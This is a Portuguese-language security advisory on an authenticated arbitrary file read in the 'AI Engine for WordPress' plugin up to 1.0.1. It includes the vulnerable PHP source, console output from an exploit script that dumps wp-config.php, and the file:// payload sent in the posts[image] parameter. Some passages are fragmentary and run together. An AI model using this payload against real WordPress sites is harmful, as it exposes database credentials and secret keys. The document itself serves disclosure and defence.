
AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Autenticado (Colaborador+) Leitura Arbitrária de Arquivos
O plugin AI Engine for WordPress contém uma vulnerabilidade no seu recurso de inserção de imagens que permite que qualquer usuário autenticado com capacidade de edição de posts (Contribuidor, Autor, Editor, Administrador) baixe arquivos arbitrários do servidor. A vulnerabilidade decorre do endpoint AJAX lqdai_update_post que não possui verificações de capacidade adequadas e da função insert_image() que usa file_get_contents() com URLs controladas pelo usuário sem validação de protocolo, permitindo downloads arbitrários de arquivos através do protocolo file://.
wp-config.php do site. python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
A ação AJAX lqdai_update_post chama a função update_post() na linha 315 de /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, que não possui verificações de capacidade adequadas e permite que qualquer usuário autenticado modifique posts que pode editar:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- VULNERABILIDADE DE DOWNLOAD ARBITRÁRIO DE ARQUIVO
}
}
}
A função insert_image() na linha 419 usa file_get_contents() com URLs controladas pelo usuário sem validação de protocolo, permitindo downloads arbitrários de arquivos:
function insert_image( $post_id, $image_url ) {
// Obtém o caminho para o diretório de uploads
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// Salva a imagem no diretório de uploads
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- ESCREVE
// Obtém o ID do anexo para a imagem
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// Define o ID do anexo como a imagem destacada do post
set_post_thumbnail($post_id, $attachment_id);
}
A construção vulnerável do caminho permite ler arquivos locais através do protocolo file://:
// Usuário fornece: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() lê o arquivo (funciona por padrão no PHP)
$image_data = file_get_contents($image_url); // Lê /var/www/html/wp-config.php
// O nome do arquivo é construído a partir do caminho
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() retorna '/var/www/html/wp-config.php'
// sanitize_file_name() remove as barras: 'varwwwhtmlwp-config.php'
// Adiciona '.jpg': 'varwwwhtmlwp-config.php.jpg'
// O arquivo é escrito no diretório de uploads
$file = $upload_dir['path'] . '/' . $filename;
// Resultado: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // Escreve o conteúdo do wp-config.php
/wp-admin/admin-ajax.php chamando a ação lqdai_update_post.file:// no parâmetro posts[image].posts[image]=file:///var/www/html/wp-config.php para ler o arquivo de configuração do WordPress./wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.